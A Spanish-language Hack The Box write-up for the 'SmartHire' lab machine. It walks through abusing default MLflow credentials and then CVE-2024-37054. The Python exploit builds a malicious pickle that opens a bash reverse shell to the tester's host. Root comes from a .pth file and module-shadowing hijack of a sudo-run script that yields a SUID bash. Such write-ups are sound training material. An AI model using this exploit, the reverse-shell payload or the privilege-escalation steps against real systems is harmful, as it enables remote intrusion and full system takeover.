SmartHire WriteUp

Tabla de contenido

SmartHire WriteUp

SmartHire es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, correspondiente a la Season 11. Simula una plataforma de selección de personal basada en IA que usa MLflow para gestionar modelos de puntuación de candidatos.

El acceso inicial explota CVE-2024-37054, una deserialización pickle insegura en mlflow.pyfunc.load_model(): nos registramos en la app, subimos datos de entrenamiento para forzar la creación del modelo en MLflow, reemplazamos su último artefacto con un pickle malicioso, lo promovemos a Production y disparamos el endpoint /predict. La escalada aprovecha que el directorio plugins/dev/ de un script ejecutado con sudo es writable por nuestro grupo, basta colocar un .pth malicioso para que Python lo ejecute como root.

🗺️ Cadena de Ataque

Nmap → Puerto 22 (SSH) + 80 (Nginx / smarthire.htb)
      │
      ▼
ffuf → models.smarthire.htb (MLflow 2.14.1) — creds por defecto admin:password
      │
      ▼
Registro en smarthire.htb + upload CSV → MLflow crea modelo {company}-{hash}-model
      │
      ▼
CVE-2024-37054 → pickle malicioso + MLmodel YAML → nuevo model version → Production
POST /predict → mlflow.pyfunc.load_model() deserializa → RCE como svcweb
penelope -p 8443 → shell directa → user.txt 🚩
      │
      ▼
sudo -l → /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
plugins/dev/ writable por grupo devs → .pth file + module shadowing
sudo mlflowctl.py status → root → root.txt 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.15.131 smarthire.htb models.smarthire.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1, Descubrimiento rápido:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv smarthire.htb

Fase 2, Versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt && sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv smarthire.htb
PuertoServicioDetalle
22SSHOpenSSH 8.9p1 (Ubuntu 22.04)
80HTTPNginx 1.18.0

Descubrimiento de Subdominios

ffuf -w /usr/share/wordlists/own/hackpuntes_subdomains_23565.txt -u http://smarthire.htb -H "Host: FUZZ.smarthire.htb" -ac -c
models                  [Status: 401, Size: 137, Words: 11, Duration: 50ms]

🎯 models.smarthire.htb → instancia de MLflow 2.14.1 protegida con credenciales por defecto admin:password. La versión es visible en la esquina superior izquierda de la interfaz.

💉 Acceso Inicial, CVE-2024-37054 (MLflow Pickle RCE)

¿Qué es CVE-2024-37054?

🧠 Concepto: CVE-2024-37054 es una deserialización insegura de pickle en mlflow.pyfunc.load_model() presente en MLflow < 2.14.3. Cuando la app carga un modelo con flavor python_function y loader_module: mlflow.sklearn, usa joblib/pickle para deserializar el fichero model.pkl del artefacto, sin ninguna validación. Un objeto pickle con __reduce__ malicioso ejecuta código arbitrario en el servidor. CVSS 9.8.

Paso 1, Registro en la Plataforma

Accedemos a http://smarthire.htb/register y creamos una cuenta. El nombre de empresa es clave: determina el nombre del modelo MLflow que se generará después.

curl -s -X POST http://smarthire.htb/register -d 'username=hacker&company=hackpuntes&password=Password123' -H 'Content-Type: application/x-www-form-urlencoded' -c cookies.txt

Paso 2, Creación del Modelo vía Upload de CSV

La plataforma necesita datos de entrenamiento para registrar el modelo en MLflow. Subimos un CSV mínimo al endpoint /upload_hiring_data:

curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'

El fichero hiring.csv:

years_experience,education_level,hired
1,1,0
5,2,1
3,1,0

Tras el upload, MLflow registra automáticamente un modelo con nombre {company}-{hash}-model. Consultamos el nombre exacto:

curl -s http://smarthire.htb/model_info -b cookies.txt
{"model_info":null,"model_name":"hackpuntes-05971feb3b81-model","status":"success"}

Y para confirmar que el modelo se ha entrenado tras el upload del CSV:

printf 'years_experience,education_level,hired\n1,1,0\n5,2,1\n3,1,0\n' > hiring.csv && curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781001809921,"description":"No description","version":"1"},"registered_model":"hackpuntes-05971feb3b81-model","status":"success"}

💡 Anota el model_name, es el identificador exacto que necesita el exploit para registrar la versión maliciosa.

Paso 3, Exploit CVE-2024-37054

Guardamos el siguiente script como exploit.py y lo ejecutamos. Hace tres cosas: crea un run en MLflow, sube el pickle malicioso + el manifiesto MLmodel al almacén de artefactos, y registra una nueva versión del modelo apuntando a esos artefactos.

#!/usr/bin/env python3
import pickle, os, requests

MLFLOW   = "http://models.smarthire.htb"
AUTH     = ("admin", "password")
MODEL    = "hackpuntes-05971feb3b81-model"  # ajustar al model_name obtenido
LHOST    = "10.10.14.49"
LPORT    = 8443

# ── Payload ──────────────────────────────────────────────────────────────────
class Shell:
    def __reduce__(self):
        cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1' &"
        return (os.system, (cmd,))

pkl = pickle.dumps(Shell())

mlmodel = (
    "artifact_path: model\n"
    "flavors:\n"
    "  python_function:\n"
    "    loader_module: mlflow.sklearn\n"
    "    model_path: model.pkl\n"
    "    python_version: 3.10.12\n"
    "mlflow_version: 2.14.1\n"
)

# ── Crear run ─────────────────────────────────────────────────────────────────
r = requests.post(f"{MLFLOW}/api/2.0/mlflow/runs/create", auth=AUTH, json={"experiment_id": "0"})
run_id = r.json()["run"]["info"]["run_id"]
print(f"[+] Run ID: {run_id}")

# ── Subir artefactos via mlflow-artifacts PUT ─────────────────────────────────
base = f"{MLFLOW}/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model"
for name, data in [("MLmodel", mlmodel.encode()), ("model.pkl", pkl)]:
    r = requests.put(f"{base}/{name}", auth=AUTH, data=data)
    print(f"[+] Upload {name}: {r.status_code}")

# ── Registrar nueva versión del modelo ────────────────────────────────────────
r = requests.post(f"{MLFLOW}/api/2.0/mlflow/model-versions/create", auth=AUTH, json={
    "name": MODEL,
    "source": f"mlflow-artifacts:/0/{run_id}/artifacts/model",
    "run_id": run_id
})
print(f"[+] Model version: {r.json()['model_version']['version']}")
print("[*] Listo — dispara /predict para ejecutar el payload")
python3 exploit.py
[+] Run ID: 51dd64dcdbaa44479320c16c8efdc608
[+] Upload MLmodel: 200
[+] Upload model.pkl: 200
[+] Model version: 2
[*] Listo — dispara /predict para ejecutar el payload

Paso 4, Promover a Production y Disparar el Payload

La app carga la versión en stage Production. Nuestra versión 2 queda en None por defecto, la promovemos antes de disparar:

curl -s -X POST 'http://models.smarthire.htb/api/2.0/mlflow/model-versions/transition-stage' -u 'admin:password' -H 'Content-Type: application/json' -d '{"name":"hackpuntes-05971feb3b81-model","version":"2","stage":"Production","archive_existing_versions":true}'

Con el listener activo en otra terminal:

penelope -p 8443

El endpoint /predict espera un fichero CSV con columnas experience y skills. Creamos el fichero y disparamos, esto llama internamente a mlflow.pyfunc.load_model() sobre nuestra versión maliciosa:

printf 'experience,skills\n3,python\n' > resume.csv && curl -s -X POST http://smarthire.htb/predict -b cookies.txt -F 'file=@resume.csv'
[+] Got reverse shell from smarthire~10.129.15.131-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
svcweb@smarthire:/var/www/smarthire.htb$

🚩 User Flag

cat /home/svcweb/user.txt

🧗 Escalada de Privilegios → root

Enumeración de Permisos sudo

sudo -l
User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Análisis del Script mlflowctl.py

cat /opt/tools/mlflow_ctl/mlflowctl.py && ls -la /opt/tools/mlflow_ctl/plugins/
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
"""
from pathlib import Path
import sys, site

BASE_DIR    = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def main():
    import mlflow_actions, backup_models

    action = sys.argv[1]
    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()

if __name__ == "__main__": main()
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

🎯 site.addsitedir() añade el directorio al path de Python y procesa todos los ficheros .pth que encuentre en él. El directorio dev/ es writable por el grupo devs, y svcweb pertenece a devs. Además, si manipulamos el orden en sys.path, podemos hacer que Python importe nuestro mlflow_actions.py (en dev/) en lugar del legítimo (en core/).

Explotación, Python .pth File + Module Shadowing

🧠 Concepto: Los ficheros .pth en directorios añadidos con site.addsitedir() se procesan automáticamente al arrancar el intérprete: las líneas con import ... se ejecutan directamente. Esto nos permite insertar dev/ al inicio de sys.path antes de que se añada core/, haciendo que Python importe nuestro módulo malicioso en lugar del legítimo.

1. Crear el .pth que prepone dev/ en sys.path:

echo 'import sys; sys.path.insert(0, "/opt/tools/mlflow_ctl/plugins/dev")' > /opt/tools/mlflow_ctl/plugins/dev/evil.pth

2. Crear el módulo mlflow_actions.py malicioso que shadea al legítimo de core/:

printf 'import os\ndef check_status(): os.system("cp /bin/bash /tmp/b && chmod +s /tmp/b")\ndef restart(): check_status()\n' > /opt/tools/mlflow_ctl/plugins/dev/mlflow_actions.py

3. Disparar la ejecución como root y verificar el SUID:

sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status && ls -la /tmp/b
-rwsr-sr-x 1 root root 1396520 Jun  9 10:51 /tmp/b
/tmp/b -p
b-5.1# id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)

🏴 Root Flag

cat /root/root.txt
<root_flag>

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1Reconocimiento de puertos y subdominiosnmap, ffufMLflow 2.14.1 en models.smarthire.htb
2Registro + upload CSV → creación de modelo MLflowcurlNombre del modelo objetivo
3CVE-2024-37054, pickle RCE vía MLflow + /predictpython3, penelopeShell como svcweb + user.txt 🚩
4Python .pth hijack, module shadowing en plugins/dev/printf, sudoShell como root + root.txt 🏴

Un saludo, nos vemos en el próximo challenge.